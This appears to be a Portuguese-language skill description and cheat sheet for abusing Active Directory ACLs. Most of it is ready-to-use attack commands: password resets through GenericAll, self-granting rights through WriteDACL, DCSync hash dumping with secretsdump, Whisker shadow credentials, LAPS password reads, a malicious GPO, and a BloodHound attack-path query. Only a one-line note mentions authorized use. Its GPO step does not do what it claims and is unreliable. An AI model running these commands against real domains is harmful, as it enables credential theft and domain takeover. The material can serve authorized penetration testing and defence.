O que active-directory-acl-abuse faz?
Manual de abuso de ACL do Active Directory. Use ao explorar permissões AD mal configuradas, incluindo GenericAll, WriteDACL, direitos DCSync, credenciais sombra, leitura de LAPS, abuso de GPO e caminhos de ataque guiados pelo BloodHound.
Cenários de Abuso de ACL
1. GenericAll no Objeto Usuário
# Enumerar permissões com PowerView
Find-InterestingDomainAcl
# Alterar senha do usuário alvo
net user <username> <newpassword> /domain
2. WriteDACL no Objeto Usuário
# Conceder GenericAll a si mesmo
Add-DomainObjectAcl -TargetIdentity <username> -PrincipalIdentity <attacker> -Rights All
3. Direitos DCSync
# Verificar direitos DCSync no BloodHound
# Executar ataque DCSync com Impacket
secretsdump.py -just-dc <domain>/<user>:<password>@<dc-ip>
4. Shadow Credentials
# Adicionar credenciais PKINIT com Whisker
Whisker.exe add /target:<username> /domain:<domain> /dc:<dc>
5. Leitura de LAPS
# Ler senha LAPS com ferramentas nativas
Get-AdmPwdPassword -ComputerName <computer>
6. Abuso de GPO
# Conceder privilégios locais via GPO
New-GPO -Name "MaliciousGPO"
Set-GPPrefRegistryValue -Name "MaliciousGPO" -Context Computer -Action Create -Key "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -ValueName "DefaultUserName" -Value "<user>" -Type String
7. Caminhos de Ataque do BloodHound
# Usar consultas Cypher para encontrar caminhos de ataque
MATCH p=()-[r:GenericAll|WriteDACL|DCSync*1..3]->() RETURN p
Ferramentas Necessárias
- BloodHound
- PowerView
- Impacket
- ldapdomaindump
- Whisker
- Módulo LAPS
- Ferramentas Nativas do Windows (net, dsacls)
Notas
Sempre verifique logs e políticas de auditoria antes de executar ações destrutivas. Use em ambientes autorizados.